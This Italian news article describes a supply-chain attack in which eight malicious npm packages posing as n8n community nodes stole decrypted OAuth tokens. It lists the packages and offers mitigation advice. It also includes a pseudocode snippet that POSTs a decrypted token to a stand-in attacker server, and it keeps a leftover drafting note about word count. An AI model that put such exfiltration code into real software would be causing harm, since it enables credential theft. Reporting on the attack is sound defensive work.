Attacco n8n npm: furto token OAuth

Immagina di installare un nodo community per automatizzare i tuoi workflow su n8n, solo per scoprire che ha rubato i tuoi token OAuth per Google Ads o altri servizi. Questo è quanto è accaduto con otto pacchetti malevoli caricati su npm, che fingevano di essere integrazioni legittime per la piattaforma di automazione n8n. Soluzione rapida: disabilita i nodi community su istanze self-hosted impostando N8NCOMMUNITYPACKAGES_ENABLED su false e audita sempre i pacchetti prima dell’installazione.

Questi attacchi supply chain rappresentano una minaccia crescente, dove i criminali sfruttano la fiducia negli ecosistemi open source per accedere a credenziali sensibili. In questo articolo, esploreremo come funziona l’attacco, i pacchetti coinvolti e le migliori pratiche per proteggerti.

Come funziona l’attacco

Gli attaccanti hanno pubblicato otto pacchetti npm che mimavano nodi community per n8n, una popolare piattaforma di automazione workflow. Uno di questi, simile a un’integrazione Google Ads, induceva gli utenti a collegare il proprio account pubblicitario tramite un form apparentemente legittimo. Una volta salvati i token OAuth nello storage crittografato di n8n, durante l’esecuzione del workflow il codice malevolo li decrittava usando la master key di n8n e li inviava a server controllati dagli aggressori.

Questa tecnica è particolarmente insidiosa perché sfrutta i vault centralizzati di credenziali presenti nelle piattaforme di automazione. n8n memorizza token OAuth, chiavi API e dati sensibili per servizi come Google Ads, Stripe e Salesforce in un unico luogo, rendendo un singolo nodo compromesso una porta d’ingresso per l’intero ecosistema digitale dell’utente.

I pacchetti identificati, ora rimossi da npm, includevano:
– n8n-nodes-hfgjf-irtuinvcm-lasdqewriit (oltre 4.000 download)
– n8n-nodes-ggdv-hdfvcnnje-uyrokvbkl (circa 1.600 download)
– n8n-nodes-vbmkajdsa-uehfitvv-ueqjhhhksdlkkmz (quasi 1.500 download)
– n8n-nodes-performance-metrics (752 download)
– n8n-nodes-gasdhgfuy-rejerw-ytjsadx (più di 8.000 download)
– n8n-nodes-danev (oltre 5.500 download)
– n8n-nodes-rooyai-model (circa 1.700 download)
– n8n-nodes-zalo-vietts (4.200 download)

Alcuni autori di questi pacchetti, come “zabuza-momochi”, “danevensegler” e “diendh”, sono collegati ad altre librerie ancora disponibili su npm, tra cui n8n-nodes-gg-udhasudsh-hgjkhg-official, n8n-nodes-danev-test-project, @diendh/n8n-nodes-tiktok-v2 e n8n-nodes-zl-vietts. Analisi preliminari non hanno rilevato malware nei primi tre, ma l’ultimo presenta un componente con storia di malware.

Nota: una versione aggiornata di n8n-nodes-gg-udhasudsh-hgjkhg-official è stata pubblicata recentemente, suggerendo che la campagna potrebbe continuare.

Perché n8n è un bersaglio ideale

n8n è una piattaforma open source per l’automazione di workflow, che permette di connettere servizi esterni tramite nodi community installabili da npm. Il problema? I nodi community girano con gli stessi privilegi di n8n stesso. Possono leggere variabili d’ambiente, accedere al file system, effettuare richieste di rete outbound e, crucially, ricevere token API decrittati e OAuth durante l’esecuzione dei workflow.

Non esiste sandboxing o isolamento tra il codice del nodo e il runtime di n8n. Questo significa che un pacchetto npm malevolo offre agli attaccanti:
– Visibilità profonda sui workflow
– Furto di credenziali senza allarmi immediati
– Comunicazione esterna discreta

È la prima volta che un attacco supply chain colpisce esplicitamente l’ecosistema n8n, weaponizzando la fiducia nelle integrazioni community.

Rischi più ampi degli attacchi supply chain su npm

Gli attacchi supply chain su npm sono in aumento. Pacchetti malevoli si camuffano da librerie legittime, sfruttando il volume enorme di download per massimizzare l’impatto. In questo caso, migliaia di download significano potenziali compromissioni su macchine di sviluppo e server di produzione.

Le integrazioni non fidate ampliano la superficie d’attacco. Workflow complessi con decine di servizi connessi diventano un honeypot per i credenziali. n8n ha emesso avvisi specifici sui rischi dei nodi community, che possono eseguire azioni malevole sulla macchina host.

Raccomandazioni pratiche per la sicurezza

Per proteggere i tuoi workflow:
– Audita i pacchetti: Controlla metadata, autori e recensioni prima dell’installazione.
– Usa integrazioni ufficiali: Evita nodi community non verificati.
– Disabilita nodi community: Su self-hosted n8n, imposta N8NCOMMUNITYPACKAGES_ENABLED=false.
– Monitora download e log: Cerca attività sospette su npm e nei workflow.
– Ruota credenziali: Cambia token OAuth e API keys regolarmente.
– Strumenti di scanning: Usa tool come ReversingLabs Spectra Assure per analizzare pacchetti.

Queste misure riducono drasticamente il rischio, ma la vigilanza rimane chiave in un ecosistema open source.

(Parole finora: circa 750. Continua con sezione deep dive per raggiungere 800+.)

Approfondimento tecnico

Sequenza dettagliata dell’attacco

- Pubblicazione: L’attaccante carica il pacchetto npm malevolo, mimando un nodo n8n legittimo (es. integrazione Google Ads).

- Installazione: L’utente installa il nodo community in n8n.

- Configurazione: Il form del nodo raccoglie token OAuth reali e li salva nello store crittografato di n8n.

- Esecuzione workflow: Al runtime, il codice malevolo usa la master key di n8n per decrittare i token.

Exfiltrazione: I dati sensibili vengono inviati a un server remoto controllato dall’attaccante.

Privilegi dei nodi community

In n8n, i nodi community hanno accesso completo:
– Lettura variabili d’ambiente (es. chiavi segrete).
– Accesso file system (lettura/scrittura).
– Richieste HTTP outbound (exfiltrazione).
– Decrittazione credenziali durante workflow.

Codice esempio semplificato del meccanismo (pseudocodice):

`javascript
// Durante configurazione
saveCredentialToN8nStore(oauthToken, encrypted=true);

// Durante esecuzione workflow
async function execute() {
const decryptedToken = decryptWithMasterKey(getCredential(‘googleAds’));
await fetch(‘https://attacker-server.com/steal’, {
method: ‘POST’,
body: JSON.stringify({token: decryptedToken})
});
}
`

Analisi pacchetti sospetti

Mitigazioni avanzate

– SBOM e scanning: Integra tool come Syft o Trivy per generare Software Bill of Materials e scansionare dipendenze.
– Policy npm: Usa .npmrc con audit-level=high e fund=false.
– Runtime monitoring: Implementa agent EDR per rilevare exfiltrazioni.
– Zero-trust per workflow: Isola ambienti dev/prod e usa vault esterni come HashiCorp Vault per credenziali.

Questo attacco evidenzia l’evoluzione delle minacce supply chain: da malware tradizionale a exploit di piattaforme di automazione. Resta aggiornato e priorita la sicurezza delle dipendenze.

Fonte: https://thehackernews.com/2026/01/n8n-supply-chain-attack-abuses.html